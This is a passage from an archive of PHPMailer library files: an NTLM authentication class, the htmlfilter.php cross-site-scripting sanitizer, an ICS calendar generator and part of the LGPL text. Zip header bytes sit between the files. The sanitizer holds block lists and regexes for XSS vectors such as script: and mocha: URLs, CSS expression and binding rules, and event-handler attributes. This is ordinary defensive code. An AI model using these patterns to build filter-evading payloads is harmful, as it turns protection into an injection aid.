SASL_NTLM_STATE_IDENTIFY_DOMAIN; } unset($message); return ($status); } public function step(&$client, $response, &$message, &$interactions) { switch ($this->state) { case SASL_NTLM_STATE_IDENTIFY_DOMAIN: $message = $this->typeMsg1($this->credentials["realm"], $this->credentials["workstation"]); $this->state = SASL_NTLM_STATE_RESPOND_CHALLENGE; break; case SASL_NTLM_STATE_RESPOND_CHALLENGE: $ntlm_response = $this->NTLMResponse(substr($response, 24, 8), $this->credentials["password"]); $message = $this->typeMsg3( $ntlm_response, $this->credentials["user"], $this->credentials["realm"], $this->credentials["workstation"] ); $this->state = SASL_NTLM_STATE_DONE; break; case SASL_NTLM_STATE_DONE: $client->error = "NTLM authentication was finished without success"; return (SASL_FAIL); default: $client->error = "invalid NTLM authentication step state"; return (SASL_FAIL); } return (SASL_CONTINUE); } } PKÜ�\�u��c�c�0vendor/phpmailer/phpmailer/extras/htmlfilter.phpnu�[���<?php /** * htmlfilter.inc * --------------- * This set of functions allows you to filter html in order to remove * any malicious tags from it. Useful in cases when you need to filter * user input for any cross-site-scripting attempts. * * Copyright (C) 2002-2004 by Duke University * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA * 02110-1301 USA * * @Author Konstantin Riabitsev <icon@linux.duke.edu> * @Author Jim Jagielski <jim@jaguNET.com / jimjag@gmail.com> * @Version 1.1 ($Date$) */ /** * This function returns the final tag out of the tag name, an array * of attributes, and the type of the tag. This function is called by * tln_sanitize internally. * * @param string $tagname the name of the tag. * @param array $attary the array of attributes and their values * @param integer $tagtype The type of the tag (see in comments). * @return string A string with the final tag representation. */ function tln_tagprint($tagname, $attary, $tagtype) { if ($tagtype == 2) { $fulltag = '</' . $tagname . '>'; } else { $fulltag = '<' . $tagname; if (is_array($attary) && sizeof($attary)) { $atts = array(); foreach($attary as $attname => $attvalue) { array_push($atts, "$attname=$attvalue"); } $fulltag .= ' ' . join(' ', $atts); } if ($tagtype == 3) { $fulltag .= ' /'; } $fulltag .= '>'; } return $fulltag; } /** * A small helper function to use with array_walk. Modifies a by-ref * value and makes it lowercase. * * @param string $val a value passed by-ref. * @return void since it modifies a by-ref value. */ function tln_casenormalize(&$val) { $val = strtolower($val); } /** * This function skips any whitespace from the current position within * a string and to the next non-whitespace value. * * @param string $body the string * @param integer $offset the offset within the string where we should start * looking for the next non-whitespace character. * @return integer the location within the $body where the next * non-whitespace char is located. */ function tln_skipspace($body, $offset) { preg_match('/^(\s*)/s', substr($body, $offset), $matches); if (sizeof($matches[1])) { $count = strlen($matches[1]); $offset += $count; } return $offset; } /** * This function looks for the next character within a string. It's * really just a glorified "strpos", except it catches the failures * nicely. * * @param string $body The string to look for needle in. * @param integer $offset Start looking from this position. * @param string $needle The character/string to look for. * @return integer location of the next occurrence of the needle, or * strlen($body) if needle wasn't found. */ function tln_findnxstr($body, $offset, $needle) { $pos = strpos($body, $needle, $offset); if ($pos === false) { $pos = strlen($body); } return $pos; } /** * This function takes a PCRE-style regexp and tries to match it * within the string. * * @param string $body The string to look for needle in. * @param integer $offset Start looking from here. * @param string $reg A PCRE-style regex to match. * @return array|boolean Returns a false if no matches found, or an array * with the following members: * - integer with the location of the match within $body * - string with whatever content between offset and the match * - string with whatever it is we matched */ function tln_findnxreg($body, $offset, $reg) { $matches = array(); $retarr = array(); $preg_rule = '%^(.*?)(' . $reg . ')%s'; preg_match($preg_rule, substr($body, $offset), $matches); if (!isset($matches[0]) || !$matches[0]) { $retarr = false; } else { $retarr[0] = $offset + strlen($matches[1]); $retarr[1] = $matches[1]; $retarr[2] = $matches[2]; } return $retarr; } /** * This function looks for the next tag. * * @param string $body String where to look for the next tag. * @param integer $offset Start looking from here. * @return array|boolean false if no more tags exist in the body, or * an array with the following members: * - string with the name of the tag * - array with attributes and their values * - integer with tag type (1, 2, or 3) * - integer where the tag starts (starting "<") * - integer where the tag ends (ending ">") * first three members will be false, if the tag is invalid. */ function tln_getnxtag($body, $offset) { if ($offset > strlen($body)) { return false; } $lt = tln_findnxstr($body, $offset, '<'); if ($lt == strlen($body)) { return false; } /** * We are here: * blah blah <tag attribute="value"> * \---------^ */ $pos = tln_skipspace($body, $lt + 1); if ($pos >= strlen($body)) { return array(false, false, false, $lt, strlen($body)); } /** * There are 3 kinds of tags: * 1. Opening tag, e.g.: * <a href="blah"> * 2. Closing tag, e.g.: * </a> * 3. XHTML-style content-less tag, e.g.: * <img src="blah"/> */ switch (substr($body, $pos, 1)) { case '/': $tagtype = 2; $pos++; break; case '!': /** * A comment or an SGML declaration. */ if (substr($body, $pos + 1, 2) == '--') { $gt = strpos($body, '-->', $pos); if ($gt === false) { $gt = strlen($body); } else { $gt += 2; } return array(false, false, false, $lt, $gt); } else { $gt = tln_findnxstr($body, $pos, '>'); return array(false, false, false, $lt, $gt); } break; default: /** * Assume tagtype 1 for now. If it's type 3, we'll switch values * later. */ $tagtype = 1; break; } /** * Look for next [\W-_], which will indicate the end of the tag name. */ $regary = tln_findnxreg($body, $pos, '[^\w\-_]'); if ($regary == false) { return array(false, false, false, $lt, strlen($body)); } list($pos, $tagname, $match) = $regary; $tagname = strtolower($tagname); /** * $match can be either of these: * '>' indicating the end of the tag entirely. * '\s' indicating the end of the tag name. * '/' indicating that this is type-3 xhtml tag. * * Whatever else we find there indicates an invalid tag. */ switch ($match) { case '/': /** * This is an xhtml-style tag with a closing / at the * end, like so: <img src="blah"/>. Check if it's followed * by the closing bracket. If not, then this tag is invalid */ if (substr($body, $pos, 2) == '/>') { $pos++; $tagtype = 3; } else { $gt = tln_findnxstr($body, $pos, '>'); $retary = array(false, false, false, $lt, $gt); return $retary; } //intentional fall-through case '>': return array($tagname, false, $tagtype, $lt, $pos); break; default: /** * Check if it's whitespace */ if (!preg_match('/\s/', $match)) { /** * This is an invalid tag! Look for the next closing ">". */ $gt = tln_findnxstr($body, $lt, '>'); return array(false, false, false, $lt, $gt); } break; } /** * At this point we're here: * <tagname attribute='blah'> * \-------^ * * At this point we loop in order to find all attributes. */ $attary = array(); while ($pos <= strlen($body)) { $pos = tln_skipspace($body, $pos); if ($pos == strlen($body)) { /** * Non-closed tag. */ return array(false, false, false, $lt, $pos); } /** * See if we arrived at a ">" or "/>", which means that we reached * the end of the tag. */ $matches = array(); if (preg_match('%^(\s*)(>|/>)%s', substr($body, $pos), $matches)) { /** * Yep. So we did. */ $pos += strlen($matches[1]); if ($matches[2] == '/>') { $tagtype = 3; $pos++; } return array($tagname, $attary, $tagtype, $lt, $pos); } /** * There are several types of attributes, with optional * [:space:] between members. * Type 1: * attrname[:space:]=[:space:]'CDATA' * Type 2: * attrname[:space:]=[:space:]"CDATA" * Type 3: * attr[:space:]=[:space:]CDATA * Type 4: * attrname * * We leave types 1 and 2 the same, type 3 we check for * '"' and convert to """ if needed, then wrap in * double quotes. Type 4 we convert into: * attrname="yes". */ $regary = tln_findnxreg($body, $pos, '[^\w\-_]'); if ($regary == false) { /** * Looks like body ended before the end of tag. */ return array(false, false, false, $lt, strlen($body)); } list($pos, $attname, $match) = $regary; $attname = strtolower($attname); /** * We arrived at the end of attribute name. Several things possible * here: * '>' means the end of the tag and this is attribute type 4 * '/' if followed by '>' means the same thing as above * '\s' means a lot of things -- look what it's followed by. * anything else means the attribute is invalid. */ switch ($match) { case '/': /** * This is an xhtml-style tag with a closing / at the * end, like so: <img src="blah"/>. Check if it's followed * by the closing bracket. If not, then this tag is invalid */ if (substr($body, $pos, 2) == '/>') { $pos++; $tagtype = 3; } else { $gt = tln_findnxstr($body, $pos, '>'); $retary = array(false, false, false, $lt, $gt); return $retary; } //intentional fall-through case '>': $attary{$attname} = '"yes"'; return array($tagname, $attary, $tagtype, $lt, $pos); break; default: /** * Skip whitespace and see what we arrive at. */ $pos = tln_skipspace($body, $pos); $char = substr($body, $pos, 1); /** * Two things are valid here: * '=' means this is attribute type 1 2 or 3. * \w means this was attribute type 4. * anything else we ignore and re-loop. End of tag and * invalid stuff will be caught by our checks at the beginning * of the loop. */ if ($char == '=') { $pos++; $pos = tln_skipspace($body, $pos); /** * Here are 3 possibilities: * "'" attribute type 1 * '"' attribute type 2 * everything else is the content of tag type 3 */ $quot = substr($body, $pos, 1); if ($quot == '\'') { $regary = tln_findnxreg($body, $pos + 1, '\''); if ($regary == false) { return array(false, false, false, $lt, strlen($body)); } list($pos, $attval, $match) = $regary; $pos++; $attary{$attname} = '\'' . $attval . '\''; } elseif ($quot == '"') { $regary = tln_findnxreg($body, $pos + 1, '\"'); if ($regary == false) { return array(false, false, false, $lt, strlen($body)); } list($pos, $attval, $match) = $regary; $pos++; $attary{$attname} = '"' . $attval . '"'; } else { /** * These are hateful. Look for \s, or >. */ $regary = tln_findnxreg($body, $pos, '[\s>]'); if ($regary == false) { return array(false, false, false, $lt, strlen($body)); } list($pos, $attval, $match) = $regary; /** * If it's ">" it will be caught at the top. */ $attval = preg_replace('/\"/s', '"', $attval); $attary{$attname} = '"' . $attval . '"'; } } elseif (preg_match('|[\w/>]|', $char)) { /** * That was attribute type 4. */ $attary{$attname} = '"yes"'; } else { /** * An illegal character. Find next '>' and return. */ $gt = tln_findnxstr($body, $pos, '>'); return array(false, false, false, $lt, $gt); } break; } } /** * The fact that we got here indicates that the tag end was never * found. Return invalid tag indication so it gets stripped. */ return array(false, false, false, $lt, strlen($body)); } /** * Translates entities into literal values so they can be checked. * * @param string $attvalue the by-ref value to check. * @param string $regex the regular expression to check against. * @param boolean $hex whether the entities are hexadecimal. * @return boolean True or False depending on whether there were matches. */ function tln_deent(&$attvalue, $regex, $hex = false) { preg_match_all($regex, $attvalue, $matches); if (is_array($matches) && sizeof($matches[0]) > 0) { $repl = array(); for ($i = 0; $i < sizeof($matches[0]); $i++) { $numval = $matches[1][$i]; if ($hex) { $numval = hexdec($numval); } $repl{$matches[0][$i]} = chr($numval); } $attvalue = strtr($attvalue, $repl); return true; } else { return false; } } /** * This function checks attribute values for entity-encoded values * and returns them translated into 8-bit strings so we can run * checks on them. * * @param string $attvalue A string to run entity check against. */ function tln_defang(&$attvalue) { /** * Skip this if there aren't ampersands or backslashes. */ if (strpos($attvalue, '&') === false && strpos($attvalue, '\\') === false ) { return; } do { $m = false; $m = $m || tln_deent($attvalue, '/\�*(\d+);*/s'); $m = $m || tln_deent($attvalue, '/\�*((\d|[a-f])+);*/si', true); $m = $m || tln_deent($attvalue, '/\\\\(\d+)/s', true); } while ($m == true); $attvalue = stripslashes($attvalue); } /** * Kill any tabs, newlines, or carriage returns. Our friends the * makers of the browser with 95% market value decided that it'd * be funny to make "java[tab]script" be just as good as "javascript". * * @param string $attvalue The attribute value before extraneous spaces removed. */ function tln_unspace(&$attvalue) { if (strcspn($attvalue, "\t\r\n\0 ") != strlen($attvalue)) { $attvalue = str_replace( array("\t", "\r", "\n", "\0", " "), array('', '', '', '', ''), $attvalue ); } } /** * This function runs various checks against the attributes. * * @param string $tagname String with the name of the tag. * @param array $attary Array with all tag attributes. * @param array $rm_attnames See description for tln_sanitize * @param array $bad_attvals See description for tln_sanitize * @param array $add_attr_to_tag See description for tln_sanitize * @param string $trans_image_path * @param boolean $block_external_images * @return array with modified attributes. */ function tln_fixatts( $tagname, $attary, $rm_attnames, $bad_attvals, $add_attr_to_tag, $trans_image_path, $block_external_images ) { foreach($attary as $attname => $attvalue) { /** * See if this attribute should be removed. */ foreach ($rm_attnames as $matchtag => $matchattrs) { if (preg_match($matchtag, $tagname)) { foreach ($matchattrs as $matchattr) { if (preg_match($matchattr, $attname)) { unset($attary{$attname}); continue; } } } } /** * Remove any backslashes, entities, or extraneous whitespace. */ $oldattvalue = $attvalue; tln_defang($attvalue); if ($attname == 'style' && $attvalue !== $oldattvalue) { $attvalue = "idiocy"; $attary{$attname} = $attvalue; } tln_unspace($attvalue); /** * Now let's run checks on the attvalues. * I don't expect anyone to comprehend this. If you do, * get in touch with me so I can drive to where you live and * shake your hand personally. :) */ foreach ($bad_attvals as $matchtag => $matchattrs) { if (preg_match($matchtag, $tagname)) { foreach ($matchattrs as $matchattr => $valary) { if (preg_match($matchattr, $attname)) { /** * There are two arrays in valary. * First is matches. * Second one is replacements */ list($valmatch, $valrepl) = $valary; $newvalue = preg_replace($valmatch, $valrepl, $attvalue); if ($newvalue != $attvalue) { $attary{$attname} = $newvalue; $attvalue = $newvalue; } } } } } if ($attname == 'style') { if (preg_match('/[\0-\37\200-\377]+/', $attvalue)) { $attary{$attname} = '"disallowed character"'; } preg_match_all("/url\s*\((.+)\)/si", $attvalue, $aMatch); if (count($aMatch)) { foreach($aMatch[1] as $sMatch) { $urlvalue = $sMatch; tln_fixurl($attname, $urlvalue, $trans_image_path, $block_external_images); $attary{$attname} = str_replace($sMatch, $urlvalue, $attvalue); } } } } /** * See if we need to append any attributes to this tag. */ foreach ($add_attr_to_tag as $matchtag => $addattary) { if (preg_match($matchtag, $tagname)) { $attary = array_merge($attary, $addattary); } } return $attary; } function tln_fixurl($attname, &$attvalue, $trans_image_path, $block_external_images) { $sQuote = '"'; $attvalue = trim($attvalue); if ($attvalue && ($attvalue[0] =='"'|| $attvalue[0] == "'")) { // remove the double quotes $sQuote = $attvalue[0]; $attvalue = trim(substr($attvalue,1,-1)); } /** * Replace empty src tags with the blank image. src is only used * for frames, images, and image inputs. Doing a replace should * not affect them working as should be, however it will stop * IE from being kicked off when src for img tags are not set */ if ($attvalue == '') { $attvalue = $sQuote . $trans_image_path . $sQuote; } else { // first, disallow 8 bit characters and control characters if (preg_match('/[\0-\37\200-\377]+/',$attvalue)) { switch ($attname) { case 'href': $attvalue = $sQuote . 'http://invalid-stuff-detected.example.com' . $sQuote; break; default: $attvalue = $sQuote . $trans_image_path . $sQuote; break; } } else { $aUrl = parse_url($attvalue); if (isset($aUrl['scheme'])) { switch(strtolower($aUrl['scheme'])) { case 'mailto': case 'http': case 'https': case 'ftp': if ($attname != 'href') { if ($block_external_images == true) { $attvalue = $sQuote . $trans_image_path . $sQuote; } else { if (!isset($aUrl['path'])) { $attvalue = $sQuote . $trans_image_path . $sQuote; } } } else { $attvalue = $sQuote . $attvalue . $sQuote; } break; case 'outbind': $attvalue = $sQuote . $attvalue . $sQuote; break; case 'cid': $attvalue = $sQuote . $attvalue . $sQuote; break; default: $attvalue = $sQuote . $trans_image_path . $sQuote; break; } } else { if (!isset($aUrl['path']) || $aUrl['path'] != $trans_image_path) { $$attvalue = $sQuote . $trans_image_path . $sQuote; } } } } } function tln_fixstyle($body, $pos, $trans_image_path, $block_external_images) { // workaround for </style> in between comments $content = ''; $sToken = ''; $bSucces = false; $bEndTag = false; for ($i=$pos,$iCount=strlen($body);$i<$iCount;++$i) { $char = $body{$i}; switch ($char) { case '<': $sToken = $char; break; case '/': if ($sToken == '<') { $sToken .= $char; $bEndTag = true; } else { $content .= $char; } break; case '>': if ($bEndTag) { $sToken .= $char; if (preg_match('/\<\/\s*style\s*\>/i',$sToken,$aMatch)) { $newpos = $i + 1; $bSucces = true; break 2; } else { $content .= $sToken; } $bEndTag = false; } else { $content .= $char; } break; case '!': if ($sToken == '<') { // possible comment if (isset($body{$i+2}) && substr($body,$i,3) == '!--') { $i = strpos($body,'-->',$i+3); if ($i === false) { // no end comment $i = strlen($body); } $sToken = ''; } } else { $content .= $char; } break; default: if ($bEndTag) { $sToken .= $char; } else { $content .= $char; } break; } } if ($bSucces == FALSE){ return array(FALSE, strlen($body)); } /** * First look for general BODY style declaration, which would be * like so: * body {background: blah-blah} * and change it to .bodyclass so we can just assign it to a <div> */ $content = preg_replace("|body(\s*\{.*?\})|si", ".bodyclass\\1", $content); /** * Fix url('blah') declarations. */ // $content = preg_replace("|url\s*\(\s*([\'\"])\s*\S+script\s*:.*?([\'\"])\s*\)|si", // "url(\\1$trans_image_path\\2)", $content); // first check for 8bit sequences and disallowed control characters if (preg_match('/[\16-\37\200-\377]+/',$content)) { $content = '<!-- style block removed by html filter due to presence of 8bit characters -->'; return array($content, $newpos); } // remove @import line $content = preg_replace("/^\s*(@import.*)$/mi","\n<!-- @import rules forbidden -->\n",$content); $content = preg_replace("/(\\\\)?u(\\\\)?r(\\\\)?l(\\\\)?/i", 'url', $content); preg_match_all("/url\s*\((.+)\)/si",$content,$aMatch); if (count($aMatch)) { $aValue = $aReplace = array(); foreach($aMatch[1] as $sMatch) { // url value $urlvalue = $sMatch; tln_fixurl('style',$urlvalue, $trans_image_path, $block_external_images); $aValue[] = $sMatch; $aReplace[] = $urlvalue; } $content = str_replace($aValue,$aReplace,$content); } /** * Remove any backslashes, entities, and extraneous whitespace. */ $contentTemp = $content; tln_defang($contentTemp); tln_unspace($contentTemp); $match = array('/\/\*.*\*\//', '/expression/i', '/behaviou*r/i', '/binding/i', '/include-source/i', '/javascript/i', '/script/i', '/position/i'); $replace = array('','idiocy', 'idiocy', 'idiocy', 'idiocy', 'idiocy', 'idiocy', ''); $contentNew = preg_replace($match, $replace, $contentTemp); if ($contentNew !== $contentTemp) { $content = $contentNew; } return array($content, $newpos); } function tln_body2div($attary, $trans_image_path) { $divattary = array('class' => "'bodyclass'"); $text = '#000000'; $has_bgc_stl = $has_txt_stl = false; $styledef = ''; if (is_array($attary) && sizeof($attary) > 0){ foreach ($attary as $attname=>$attvalue){ $quotchar = substr($attvalue, 0, 1); $attvalue = str_replace($quotchar, "", $attvalue); switch ($attname){ case 'background': $styledef .= "background-image: url('$trans_image_path'); "; break; case 'bgcolor': $has_bgc_stl = true; $styledef .= "background-color: $attvalue; "; break; case 'text': $has_txt_stl = true; $styledef .= "color: $attvalue; "; break; } } // Outlook defines a white bgcolor and no text color. This can lead to // white text on a white bg with certain themes. if ($has_bgc_stl && !$has_txt_stl) { $styledef .= "color: $text; "; } if (strlen($styledef) > 0){ $divattary{"style"} = "\"$styledef\""; } } return $divattary; } /** * * @param string $body The HTML you wish to filter * @param array $tag_list see description above * @param array $rm_tags_with_content see description above * @param array $self_closing_tags see description above * @param boolean $force_tag_closing see description above * @param array $rm_attnames see description above * @param array $bad_attvals see description above * @param array $add_attr_to_tag see description above * @param string $trans_image_path * @param boolean $block_external_images * @return string Sanitized html safe to show on your pages. */ function tln_sanitize( $body, $tag_list, $rm_tags_with_content, $self_closing_tags, $force_tag_closing, $rm_attnames, $bad_attvals, $add_attr_to_tag, $trans_image_path, $block_external_images ) { /** * Normalize rm_tags and rm_tags_with_content. */ $rm_tags = array_shift($tag_list); @array_walk($tag_list, 'tln_casenormalize'); @array_walk($rm_tags_with_content, 'tln_casenormalize'); @array_walk($self_closing_tags, 'tln_casenormalize'); /** * See if tag_list is of tags to remove or tags to allow. * false means remove these tags * true means allow these tags */ $curpos = 0; $open_tags = array(); $trusted = "<!-- begin tln_sanitized html -->\n"; $skip_content = false; /** * Take care of netscape's stupid javascript entities like * &{alert('boo')}; */ $body = preg_replace('/&(\{.*?\};)/si', '&\\1', $body); while (($curtag = tln_getnxtag($body, $curpos)) != false) { list($tagname, $attary, $tagtype, $lt, $gt) = $curtag; $free_content = substr($body, $curpos, $lt-$curpos); /** * Take care of <style> */ if ($tagname == "style" && $tagtype == 1){ list($free_content, $curpos) = tln_fixstyle($body, $gt+1, $trans_image_path, $block_external_images); if ($free_content != FALSE){ if ( !empty($attary) ) { $attary = tln_fixatts($tagname, $attary, $rm_attnames, $bad_attvals, $add_attr_to_tag, $trans_image_path, $block_external_images ); } $trusted .= tln_tagprint($tagname, $attary, $tagtype); $trusted .= $free_content; $trusted .= tln_tagprint($tagname, null, 2); } continue; } if ($skip_content == false){ $trusted .= $free_content; } if ($tagname != false) { if ($tagtype == 2) { if ($skip_content == $tagname) { /** * Got to the end of tag we needed to remove. */ $tagname = false; $skip_content = false; } else { if ($skip_content == false) { if ($tagname == "body") { $tagname = "div"; } if (isset($open_tags{$tagname}) && $open_tags{$tagname} > 0 ) { $open_tags{$tagname}--; } else { $tagname = false; } } } } else { /** * $rm_tags_with_content */ if ($skip_content == false) { /** * See if this is a self-closing type and change * tagtype appropriately. */ if ($tagtype == 1 && in_array($tagname, $self_closing_tags) ) { $tagtype = 3; } /** * See if we should skip this tag and any content * inside it. */ if ($tagtype == 1 && in_array($tagname, $rm_tags_with_content) ) { $skip_content = $tagname; } else { if (($rm_tags == false && in_array($tagname, $tag_list)) || ($rm_tags == true && !in_array($tagname, $tag_list)) ) { $tagname = false; } else { /** * Convert body into div. */ if ($tagname == "body"){ $tagname = "div"; $attary = tln_body2div($attary, $trans_image_path); } if ($tagtype == 1) { if (isset($open_tags{$tagname})) { $open_tags{$tagname}++; } else { $open_tags{$tagname} = 1; } } /** * This is where we run other checks. */ if (is_array($attary) && sizeof($attary) > 0) { $attary = tln_fixatts( $tagname, $attary, $rm_attnames, $bad_attvals, $add_attr_to_tag, $trans_image_path, $block_external_images ); } } } } } if ($tagname != false && $skip_content == false) { $trusted .= tln_tagprint($tagname, $attary, $tagtype); } } $curpos = $gt + 1; } $trusted .= substr($body, $curpos, strlen($body) - $curpos); if ($force_tag_closing == true) { foreach ($open_tags as $tagname => $opentimes) { while ($opentimes > 0) { $trusted .= '</' . $tagname . '>'; $opentimes--; } } $trusted .= "\n"; } $trusted .= "<!-- end tln_sanitized html -->\n"; return $trusted; } // // Use the nifty htmlfilter library // function HTMLFilter($body, $trans_image_path, $block_external_images = false) { $tag_list = array( false, "object", "meta", "html", "head", "base", "link", "frame", "iframe", "plaintext", "marquee" ); $rm_tags_with_content = array( "script", "applet", "embed", "title", "frameset", "xmp", "xml" ); $self_closing_tags = array( "img", "br", "hr", "input", "outbind" ); $force_tag_closing = true; $rm_attnames = array( "/.*/" => array( // "/target/i", "/^on.*/i", "/^dynsrc/i", "/^data.*/i", "/^lowsrc.*/i" ) ); $bad_attvals = array( "/.*/" => array( "/^src|background/i" => array( array( '/^([\'"])\s*\S+script\s*:.*([\'"])/si', '/^([\'"])\s*mocha\s*:*.*([\'"])/si', '/^([\'"])\s*about\s*:.*([\'"])/si' ), array( "\\1$trans_image_path\\2", "\\1$trans_image_path\\2", "\\1$trans_image_path\\2" ) ), "/^href|action/i" => array( array( '/^([\'"])\s*\S+script\s*:.*([\'"])/si', '/^([\'"])\s*mocha\s*:*.*([\'"])/si', '/^([\'"])\s*about\s*:.*([\'"])/si' ), array( "\\1#\\1", "\\1#\\1", "\\1#\\1" ) ), "/^style/i" => array( array( "/\/\*.*\*\//", "/expression/i", "/binding/i", "/behaviou*r/i", "/include-source/i", '/position\s*:/i', '/(\\\\)?u(\\\\)?r(\\\\)?l(\\\\)?/i', '/url\s*\(\s*([\'"])\s*\S+script\s*:.*([\'"])\s*\)/si', '/url\s*\(\s*([\'"])\s*mocha\s*:.*([\'"])\s*\)/si', '/url\s*\(\s*([\'"])\s*about\s*:.*([\'"])\s*\)/si', '/(.*)\s*:\s*url\s*\(\s*([\'"]*)\s*\S+script\s*:.*([\'"]*)\s*\)/si' ), array( "", "idiocy", "idiocy", "idiocy", "idiocy", "idiocy", "url", "url(\\1#\\1)", "url(\\1#\\1)", "url(\\1#\\1)", "\\1:url(\\2#\\3)" ) ) ) ); if ($block_external_images) { array_push( $bad_attvals{'/.*/'}{'/^src|background/i'}[0], '/^([\'\"])\s*https*:.*([\'\"])/si' ); array_push( $bad_attvals{'/.*/'}{'/^src|background/i'}[1], "\\1$trans_image_path\\1" ); array_push( $bad_attvals{'/.*/'}{'/^style/i'}[0], '/url\(([\'\"])\s*https*:.*([\'\"])\)/si' ); array_push( $bad_attvals{'/.*/'}{'/^style/i'}[1], "url(\\1$trans_image_path\\1)" ); } $add_attr_to_tag = array( "/^a$/i" => array('target' => '"_blank"') ); $trusted = tln_sanitize( $body, $tag_list, $rm_tags_with_content, $self_closing_tags, $force_tag_closing, $rm_attnames, $bad_attvals, $add_attr_to_tag, $trans_image_path, $block_external_images ); return $trusted; } PKÜ�\���2vendor/phpmailer/phpmailer/extras/EasyPeasyICS.phpnu�[���<?php /** * EasyPeasyICS Simple ICS/vCal data generator. * @author Marcus Bointon <phpmailer@synchromedia.co.uk> * @author Manuel Reinhard <manu@sprain.ch> * * Built with inspiration from * http://stackoverflow.com/questions/1463480/how-can-i-use-php-to-dynamically-publish-an-ical-file-to-be-read-by-google-calend/1464355#1464355 * History: * 2010/12/17 - Manuel Reinhard - when it all started * 2014 PHPMailer project becomes maintainer */ /** * Class EasyPeasyICS. * Simple ICS data generator * @package phpmailer * @subpackage easypeasyics */ class EasyPeasyICS { /** * The name of the calendar * @var string */ protected $calendarName; /** * The array of events to add to this calendar * @var array */ protected $events = array(); /** * Constructor * @param string $calendarName */ public function __construct($calendarName = "") { $this->calendarName = $calendarName; } /** * Add an event to this calendar. * @param string $start The start date and time as a unix timestamp * @param string $end The end date and time as a unix timestamp * @param string $summary A summary or title for the event * @param string $description A description of the event * @param string $url A URL for the event * @param string $uid A unique identifier for the event - generated automatically if not provided * @return array An array of event details, including any generated UID */ public function addEvent($start, $end, $summary = '', $description = '', $url = '', $uid = '') { if (empty($uid)) { $uid = md5(uniqid(mt_rand(), true)) . '@EasyPeasyICS'; } $event = array( 'start' => gmdate('Ymd', $start) . 'T' . gmdate('His', $start) . 'Z', 'end' => gmdate('Ymd', $end) . 'T' . gmdate('His', $end) . 'Z', 'summary' => $summary, 'description' => $description, 'url' => $url, 'uid' => $uid ); $this->events[] = $event; return $event; } /** * @return array Get the array of events. */ public function getEvents() { return $this->events; } /** * Clear all events. */ public function clearEvents() { $this->events = array(); } /** * Get the name of the calendar. * @return string */ public function getName() { return $this->calendarName; } /** * Set the name of the calendar. * @param $name */ public function setName($name) { $this->calendarName = $name; } /** * Render and optionally output a vcal string. * @param bool $output Whether to output the calendar data directly (the default). * @return string The complete rendered vlal */ public function render($output = true) { //Add header $ics = 'BEGIN:VCALENDAR METHOD:PUBLISH VERSION:2.0 X-WR-CALNAME:' . $this->calendarName . ' PRODID:-//hacksw/handcal//NONSGML v1.0//EN'; //Add events foreach ($this->events as $event) { $ics .= ' BEGIN:VEVENT UID:' . $event['uid'] . ' DTSTAMP:' . gmdate('Ymd') . 'T' . gmdate('His') . 'Z DTSTART:' . $event['start'] . ' DTEND:' . $event['end'] . ' SUMMARY:' . str_replace("\n", "\\n", $event['summary']) . ' DESCRIPTION:' . str_replace("\n", "\\n", $event['description']) . ' URL;VALUE=URI:' . $event['url'] . ' END:VEVENT'; } //Add footer $ics .= ' END:VCALENDAR'; if ($output) { //Output $filename = $this->calendarName; //Filename needs quoting if it contains spaces if (strpos($filename, ' ') !== false) { $filename = '"'.$filename.'"'; } header('Content-type: text/calendar; charset=utf-8'); header('Content-Disposition: inline; filename=' . $filename . '.ics'); echo $ics; } return $ics; } } PKÜ�\m���g�g"vendor/phpmailer/phpmailer/LICENSEnu�[��� GNU LESSER GENERAL PUBLIC LICENSE Version 2.1, February 1999 Copyright (C) 1991, 1999 Free Software Foundation, Inc. 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. [This is the first released version of the Lesser GPL. It also counts as the successor of the GNU Library Public License, version 2, hence the version number 2.1.] Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public Licenses are intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This license, the Lesser General Public License, applies to some specially designated software packages--typically libraries--of the Free Software Foundation and other authors who decide to use it. You can use it too, but we suggest you first think carefully about whether this license or the ordinary General Public License is the better strategy to use in any particular case, based on the explanations below. When we speak of free software, we are referring to freedom of use, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish); that you receive source code or can get it if you want it; that you can change the software and use pieces of it in new free programs; and that you are informed that you can do these things. To protect your rights, we need to make restrictions that forbid distributors to deny you these rights or to ask you to surrender these rights. These restrictions translate to certain responsibilities for you if you distribute copies of the library or if you modify it. For example, if you distribute copies of the library, whether gratis or for a fee, you must give the recipients all the rights that we gave you. You must make sure that they, too, receive or can get the source code. If you link other code with the library, you must provide complete object files to the recipients, so that they can relink them with the library after making changes to the library and recompiling it. And you must show them these terms so they know their rights. We protect your rights with a two-step method: (1) we copyright the library, and (2) we offer you this license, which gives you legal permission to copy, distribute and/or modify the library. To protect each distributor, we want to make it very clear that there is no warranty for the free library. Also, if the library is modified by someone else and passed on, the recipients should know that what they have is not the original version, so that the original author's reputation will not be affected by problems that might be introduced by others. Finally, software patents pose a constant threat to the existence of any free program. We wish to make sure that a company cannot effectively restrict the users of a free program by obtaining a restrictive license from a patent holder. Therefore, we insist that any patent license obtained for a version of the library must be consistent with the full freedom of use specified in this license. Most GNU software, including some libraries, is covered by the ordinary GNU General Public License. This license, the GNU Lesser General Public License, applies to certain designated libraries, and is quite different from the ordinary General Public License. We use this license for certain libraries in order to permit linking those libraries into non-free programs. When a program is linked with a library, whether statically or using a shared library, the combination of the two is legally speaking a combined work, a derivative of the original library. The ordinary General Public License therefore permits such linking only if the entire combination fits its criteria of freedom. The Lesser General Public License permits more lax criteria for linking other code with the library. We call this license the "Lesser" General Public License because it does Less to protect the user's freedom than the ordinary General Public License. It also provides other free software developers Less of an advantage over competing non-free programs. These disadvantages are the reason we use the ordinary General Public License for many libraries. However, the Lesser license provides advantages in certain special circumstances. For example, on rare occasions, there may be a special need to encourage the widest possible use of a certain library, so that it becomes a de-facto standard. To achieve this, non-free programs must be allowed to use the library. A more frequent case is that a free library does the same job as widely used non-free 